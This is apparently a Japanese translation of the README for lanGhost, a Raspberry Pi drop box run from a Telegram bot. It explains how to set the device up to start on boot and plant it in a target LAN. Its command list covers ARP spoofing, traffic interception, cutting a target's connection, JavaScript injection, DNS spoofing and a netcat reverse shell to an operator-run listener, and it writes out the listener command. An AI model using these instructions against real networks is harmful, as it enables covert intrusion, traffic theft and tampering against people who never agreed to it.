
👻 Telegramで制御できるLANドロップボックスチャットボット
lanGhostはRaspberry Pi(Raspbian/Kali for RPi)向けに設計されています。他のデスクトップディストリビューションで実行すると問題が発生したり、期待通りに動作しない可能性があります。
Raspberry Piと、SDカードにクリーンなRaspbian/Kaliが必要です。バックグラウンドで他のものを実行させたくないからです。
Piを起動し、SSHシェルを取得するか、モニターとキーボードを接続して、次のコマンドを入力してください:
$ sudo apt update && sudo apt install python3 python3-pip
$ git clone https://github.com/xdavidhu/lanGhost
$ cd lanGhost
$ sudo ./setup.py
セットアップスクリプト実行中は、質問・メッセージをよく読んでください!
[+] Please enter the name of the network interface connected/will
be connected to the target LAN. Default wired interface is 'eth0',
and the default wireless interface is 'wlan0' on most systems, but
you can check it in a different terminal with the 'ifconfig' command.
[+] Please create a Telegram API key by messaging @BotFather on Telegram
with the command '/newbot'.
After this, @BotFather will ask you to choose a name for your bot.
This can be anything you want.
Lastly, @BotFather will ask you for a username for your bot. You have
to choose a unique username here which ends with 'bot'. For
example: xdavidbot. Make note of this username, since later
you will have to search for this to find your bot, which lanGhost
will be running on.
After you send your username of choise to @BotFather, you will recieve
your API key.
[+] Now for lanGhost to only allow access to you, you need to verify yourself.
Send the verification code below TO THE BOT you just created. Just search for your
bot's @username (what you sent to @BotFather) to find it.
[+] Verification code to send: ******
[+] Do you want lanGhost to start on boot? This option is necessary if you are using
this device as a dropbox, because when you are going to drop this device into a
network, you will not have the chanse to start lanGhost remotely! (autostart works
by adding a new cron '@reboot' entry)
/24より大きいネットワークでのlanGhostの使用は推奨されません。スキャンに時間がかかりすぎるためです。
lanGhostは静かではありません。トラフィックを監視している人はARPパケットを見ることができます!
手順 4/4(自動起動)でyesを選択した場合、Piはドロップ用に完全にセットアップされています。lanGhostは起動時に起動し、TelegramにlanGhost started! 👻というメッセージを送信します。
最初にラボで試し、lanGhostがメッセージに応答するかテストしてください。
準備ができたら、EthernetケーブルをPiに差し込み、micro USBで電源を接続してターゲットネットワークに接続するだけです。
(lanGhostはWiFiでも動作しますが、最初にwpa_supplicantを設定して自動的にネットワークに接続する必要があります)
/scan - LANネットワークをスキャンする
/scanip [TARGET-IP] - 特定のIPアドレスをスキャンする
/kill [TARGET-IP] - ターゲットのネットワーク接続を停止する
/mitm [TARGET-IP] - ターゲットからのHTTP/DNSトラフィックをキャプチャする
/replaceimg [TARGET-IP] - ターゲットがリクエストしたHTTP画像を置き換える
/injectjs [TARGET-IP] [JS-FILE-URL] - ターゲットがリクエストしたHTTPページにJavaScriptを注入する
/spoofdns [TARGET-IP] [DOMAIN] [FAKE-IP] - ターゲットのDNSレコードを偽装する
/attacks - 現在実行中の攻撃を表示する
/stop [ATTACK-ID] - 現在実行中の攻撃を停止する
/restart - lanGhostを再起動する
/reversesh [TARGET-IP] [PORT] - ターゲットにnetcatリバースシェルを作成する
/help - ヘルプメニューを表示する
/ping - Pong
/kill、/mitm、/replaceimg、/injectjs、/spoofdnsのいずれかのコマンドを使用して攻撃を開始できます。
1つ以上の攻撃が実行中になったら、/attackコマンドを使用して、ATTACK-IDを含む攻撃のリストを取得できます。
攻撃を停止するには/stop [ATTACK-ID]と入力します。
/reverseshは暗号化されていないnetcat TCP接続を作成するだけで、すべてのトラフィックが監視可能です!緊急時の修正や、必要に応じて暗号化されたリバース接続を設定する場合にのみ使用してください。
/reverseshコマンドは、Piが外部からアクセスできない場合にリバースシェルを取得するためのものです。
/reverseshコマンドを使用するには、シェルを待ち受けるサーバーが必要です。
サーバーでリスナーを起動するnetcatコマンド:
$ nc -l 0.0.0.0 [PORT]
Telegramコマンド:
/reversesh [IP-of-your-listening-server] [PORT]
/kill - ターゲットのインターネット接続を停止します。/mitm - ターゲットからのHTTPおよびDNSトラフィックをキャプチャし、テキストメッセージで送信します。/replaceimg - ターゲットのHTTP画像を、ボットに送信した画像に置き換えます。/injectjs - ターゲットへのすべてのHTTP HTMLレスポンスにJavaScriptを注入します。JSファイルを自分のサーバーでホストし、URLをパラメータとして指定する必要があります。/spoofdns - ターゲットのDNS応答を偽装します。すべての攻撃はARPスプーフィングを使用します!
/scan - ローカルネットワークをスキャンし、オンラインのホストを返します。ホストの発見にはnmap -snスキャンを使用します。/scanip - IPアドレスをスキャンして、開いているポートやその他の情報を取得します。nmap -sSスキャンを使用します。新しいデバイスがネットワークに接続/離脱するたびにメッセージが届きます。
Copyright (c) 2018 by David Schütz. Some rights reserved.
lanGhostはMITライセンスの条項に基づいており、ライセンスファイルに記載されているすべての明確化に従います。xdavid{at}protonmail{dot}comまでメールで連絡することもできます。